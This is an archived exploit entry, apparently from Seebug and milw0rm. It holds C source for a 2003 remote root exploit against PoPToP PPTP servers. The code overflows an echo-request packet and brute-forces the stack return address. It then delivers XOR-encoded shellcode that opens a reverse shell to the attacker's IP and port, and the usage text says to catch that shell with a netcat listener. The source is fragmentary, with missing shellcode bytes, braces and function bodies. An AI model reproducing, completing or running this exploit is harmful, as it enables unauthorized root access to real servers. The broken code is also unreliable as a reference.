PoPToP PPTP <= 1.1.4-b3 Remote Root Exploit

ID SSV:62716
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.

*  exploit for a recently discovered vulnerability in PoPToP
*  PPTP server under Linux. Versions affected are all prior to
*  1.1.4-b3 and 1.1.3-20030409.
*  The exploit is capable of bruteforcing the RET address to find our
*  buffer in the stack. Upon a successfull run it brings up a reverse
*  shell with privileges of the pptpd daemon (typically root)
*  on the victim server.

#include <iostream.h>
#include <winsock.h>
#include <stdio.h>

#define u_int8_t char
#define u_int16_t WORD
#define u_int32_t DWORD

char shellcode[] =


"\x01\x01" // port


"\x01\x01\x01\x01" // ip address


struct pptp_header {
        u_int16_t length;               /* pptp message length incl header */
        u_int16_t pptp_type;            /* pptp message type */
        u_int32_t magic;                /* magic cookie */
        u_int16_t ctrl_type;            /* control message type */
        u_int16_t reserved0;            /* reserved */

#define MAX_HOSTNAME_SIZE               64
#define MAX_VENDOR_SIZE                 64
#define PPTP_VERSION                    0x0100

struct pptp_start_ctrl_conn_rqst {
        struct pptp_header header;      /* pptp header */
        u_int16_t version;              /* pptp protocol version */
        u_int16_t reserved1;            /* reserved */
        u_int32_t framing_cap;          /* framing capabilities */
        u_int32_t bearer_cap;           /* bearer capabilities */
        u_int16_t max_channels;         /* maximum channels */
        u_int16_t firmware_rev;         /* firmware revision */
        u_int8_t hostname[MAX_HOSTNAME_SIZE];   /* hostname */
        u_int8_t vendor[MAX_VENDOR_SIZE];       /* vendor */

struct pptp_echo_rqst {
        struct pptp_header header;      /* header */
        u_int32_t identifier;           /* value to match rply with rqst */
                                char buf[10000];

struct pptp_reply {
        struct pptp_header header;      /* header */
                                char buf[10000];

/* Magic Cookie */
#define PPTP_MAGIC_COOKIE               0x1a2b3c4d

/* Message types */
#define PPTP_CTRL_MESSAGE               1

/* Control Connection Management */
#define START_CTRL_CONN_RQST            1
#define START_CTRL_CONN_RPLY            2
#define STOP_CTRL_CONN_RQST             3
#define STOP_CTRL_CONN_RPLY             4
#define ECHO_RQST                       5
#define ECHO_RPLY                       6

// brute force values
#define TOPOFSTACK 0xbfffffff
#define BOTTOMOFSTACK 0xbf000000
#define STEP 50

void send_init_request(SOCKET st)
        pptp_start_ctrl_conn_rqst request;
  request.header.magic = htonl(PPTP_MAGIC_COOKIE);
  request.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
        request.header.ctrl_type = htons(START_CTRL_CONN_RQST);

  request.version = PPTP_VERSION;
        request.framing_cap = 0;
        request.bearer_cap = 0;
        request.max_channels = 1;
        request.firmware_rev = 0;
        strcpy(request.vendor,"domain HELL");
  request.header.length = ntohs(sizeof(request));



void send_ping_overflow(SOCKET st,DWORD ret,char* hostname,short port)
  pptp_echo_rqst ping;
        ping.header.magic = htonl(PPTP_MAGIC_COOKIE);
  ping.header.pptp_type = htons(PPTP_CTRL_MESSAGE);
        ping.header.ctrl_type = htons(ECHO_RQST);
        ping.identifier = 111;

        ping.header.length = ntohs(1);
        int buflen = 500;
        for (int i=0;i<buflen;i++)strcat(ping.buf,"\x90");      

        // patch shellcode
        // we have a shellcode xored by 0x93.. let's unxor it :)
        for (i=0;i<sizeof(shellcode);i++) shellcode[i] ^= 0x93;

        *(unsigned short int*)(shellcode+43) = htons(port);
  *(unsigned long int*)(shellcode+48) = inet_addr(hostname);

        // we leave 100 bytes for NOPs


int connect_server(char* hostname)
        if (st==INVALID_SOCKET) return 0;

        sockaddr_in addr;

        bind(st, (LPSOCKADDR)&addr,sizeof(addr));
        printf("connecting... ");
        if (connect(st,(sockaddr*)&addr,sizeof(addr)) != 0)
                printf("Connect error. GetLastError=%d\n",GetLastError());
                return 0;
        return 1;

int main(int argc, char** argv)
        printf("                   D  H     H                            \n");
        printf("                   D  H     H     T\n");
        printf("                   D  H  H  H     T     EE    AA   M   M \n");
        printf("               DDD D  HHHHHHH     T    E  E  A  A  MM MM \n");
        printf("              D   DD  H  H  H    TTTT  E  E  A  A  MM MM \n");
        printf("             D     D  H     H     T    EEE   AAAA  M M M \n");
        printf("              D    D  H     H     T    E     A  A  M   M \n");
        printf("               DDDD   H     H      TTT  EEE  A  A  M   M   ");
        printf(" ... presents ... \n\n");
  printf("Exploit for PoPToP PPTP server older than \n1.1.4-b3 and 1.1.3-20030409 under Linux.\n");
        printf("by .einstein., April 2003.\n");
  if (argc < 2)
                printf("usage: \n");
                printf("  %s <pptp_server> [<your_ip>] [<your_port>] [<timeout>]\n\n",argv[0]);
                printf("    <pptp_server> is the ip address or hostname of the PoPToP server\n");
                printf("      you want to attack.  Port 1723 is used for connection\n");
                printf("    <your_ip> and <your_port> - specify an ip address to which\n");
                printf("      a connection is possible to port <your_port> and set up a\n");
                printf("      netcat listener. You'll get a reverse shell.\n");
                printf("    <timeout> is a delay between stack bruteforce attemts, in milliseconds\n");
                printf("   If you only pass a single parameter, the program will check\n");
                printf("   whether remote server is vulnerable or not. Otherwise it will\n");
                printf("   perform a ret bruteforce.\n");
                printf("usage examples:\n");
                printf("  %s 5555\n",argv[0]);
                printf("    attack and get a reverse shell on port 5555\n");
          printf("  %s 6666 100\n",argv[0]);
                printf("    attack a locally running pptpd with a timeout of 100 ms\n");
                printf("    and get a shell on port 6666.\n");
                printf("  %s\n",argv[0]);
                printf("    check if the PoPToP server on is vulnerable.\n");
    return 0;

  int timeout = 500;
  if (argc >= 5) timeout = atoi(argv[4]);

        // init winsock
        WORD version=0x0101;
  WSADATA data;

        DWORD ret;
        if (argc == 2)
                if (!connect_server(argv[1])) return 1;

                printf("\nChecking if the server is vulnerable..\n");
                printf("(if it is you have to wait 65 seconds)..\n");

                ret = 0x01010101;
                int bytes;
                pptp_reply reply;
                //header length
                bytes = recv(st,(char*)&reply,2,0);
                bytes = ntohs(reply.header.length);
                bytes = recv(st,(char*)&reply+2,bytes-2,0);
                int j = htons(reply.header.ctrl_type);
                //header length
                bytes = recv(st,(char*)&reply,2,0);
                printf("PoPToP server is ");
                if (bytes != SOCKET_ERROR) printf("vulnerable!\n");
                else printf("not vulnerable\n");

                return 1;

        printf("[!] Attempting bruteforce against %s\n",argv[1]);
        printf("interrupt when you get a shell to %s on port %d...\n\n",argv[2],atoi(argv[3]));
        int checked = 0;
        for (ret = TOPOFSTACK; ret >=BOTTOMOFSTACK; ret -= STEP)
          printf("[*] ");
                if (!connect_server(argv[1])) return 1;
        printf("sending payload..");
                // initial packet

                //a real overflowing ping packet

        return 0;

// milw0rm.com [2003-04-18]